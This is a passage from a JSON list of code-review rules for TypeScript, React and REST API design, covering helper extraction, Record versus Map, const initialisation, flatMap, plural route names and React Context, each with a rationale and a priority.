bug.","priority":"p1","scope":"universal"},{"title":"Extract complex mapping logic into helper functions","rule":"Avoid complex inline callbacks in array methods like .map(); extract the logic into named helper functions for better readability.","apiRule":"Avoid complex inline callbacks in array methods like .map(); extract the logic into named helper functions for better readability. The mapping logic is defined inline, making the main flow of the data transformation hard to follow. If the logic grows, this block becomes cluttered and harder to test. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example. Exceptions: Balance against avoid-premature-abstraction-over-small-repetition: extract a .map() callback into a named helper once it grows complex or is reused.","whyItMatters":"The mapping logic is defined inline, making the main flow of the data transformation hard to follow. If the logic grows, this block becomes cluttered and harder to test.","priority":"p2","scope":"stack-specific"},{"title":"Prefer Record over Map for simple indexing","rule":"Use plain objects (Record) instead of Maps for simple ID-based lookups unless specific Map features are required.","apiRule":"Use plain objects (Record) instead of Maps for simple ID-based lookups unless specific Map features are required. Using a `Map` for simple string or number keys adds unnecessary complexity (`.get`, `.set`) and isn't natively serializable to JSON. It is overkill for simple lookups. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. Use `Map` only when keys are objects, frequent additions/removals affect performance significantly, or key insertion order matters. Exceptions: Use Map when keys aren't strings, insertion order matters, or you need frequent mutations. Balance against build-map-from-array-with-constructor: use a plain Record for simple static key lookups that need no Map-specific features.","whyItMatters":"Using a `Map` for simple string or number keys adds unnecessary complexity (`.get`, `.set`) and isn't natively serializable to JSON. It is overkill for simple lookups.","priority":"p1","scope":"stack-specific"},{"title":"Prefer const with IIFE over mutable let","rule":"Avoid using 'let' for variables that are only reassigned during initialization; use IIFEs or helper functions to keep them 'const'.","apiRule":"Avoid using 'let' for variables that are only reassigned during initialization; use IIFEs or helper functions to keep them 'const'. Using 'let' allows the variable to be mutated anywhere in the scope, making the data flow harder to trace. The logic is fragmented across declaration and initialization. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. If your project has a dedicated 'compute' utility (e.g. `const val = compute(() => ...)`), prefer using that over raw IIFEs for better readability. Exceptions: Balance against prefer-compute-helper-over-iifes: use a const-binding IIFE for short, single-use init that doesn't merit a named, exported helper.","whyItMatters":"Using 'let' allows the variable to be mutated anywhere in the scope, making the data flow harder to trace. The logic is fragmented across declaration and initialization.","priority":"p2","scope":"stack-specific"},{"title":"Prefer flatMap for combined mapping and filtering","rule":"Use flatMap to transform and filter items in a single pass instead of chaining map and filter.","apiRule":"Use flatMap to transform and filter items in a single pass instead of chaining map and filter. Chaining .map() and .filter() creates an intermediate array and iterates over the collection twice. This separates the transformation logic from the validation logic, which can be less efficient and harder to follow for complex types. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. While map().filter() is readable for very simple cases, flatMap is generally preferred when the transformation might result in invalid states that need immediate removal.","whyItMatters":"Chaining .map() and .filter() creates an intermediate array and iterates over the collection twice. This separates the transformation logic from the validation logic, which can be less efficient and harder to follow for complex types.","priority":"p1","scope":"stack-specific"},{"title":"Enforce consistent pluralization for REST API resources","rule":"Always use consistent plural nouns for resource collections in API routes to ensure predictability.","apiRule":"Always use consistent plural nouns for resource collections in API routes to ensure predictability. The API routes mix plural ('instruments') and singular ('instrument') for the same resource collection. This makes the API endpoints difficult to predict and confusing for consumers. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. A common standard is to always use plural for collections (e.g., /users, /users/:id). Avoid mixing /users for lists and /user/:id for details.","whyItMatters":"The API routes mix plural ('instruments') and singular ('instrument') for the same resource collection. This makes the API endpoints difficult to predict and confusing for consumers.","priority":"p1","scope":"universal"},{"title":"Prefer React Context over global window events","rule":"Avoid using global window events for component communication; use React Context to share state and actions instead.","apiRule":"Avoid using global window events for component communication; use React Context to share state and actions instead. Using global window events creates hidden coupling between components and bypasses React's unidirectional data flow. It makes the application fragile, hard to debug (unknown triggers), and difficult to test since it relies on the global window object. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. For complex state, consider using a reducer within the Context provider to handle state transitions effectively.","whyItMatters":"Using global window events creates hidden coupling between components and bypasses React's unidirectional data flow. It makes the application fragile, hard to debug (unknown triggers), and difficult to test since it relies on the global window object.","priority":"p1","scope":"stack-specific"}]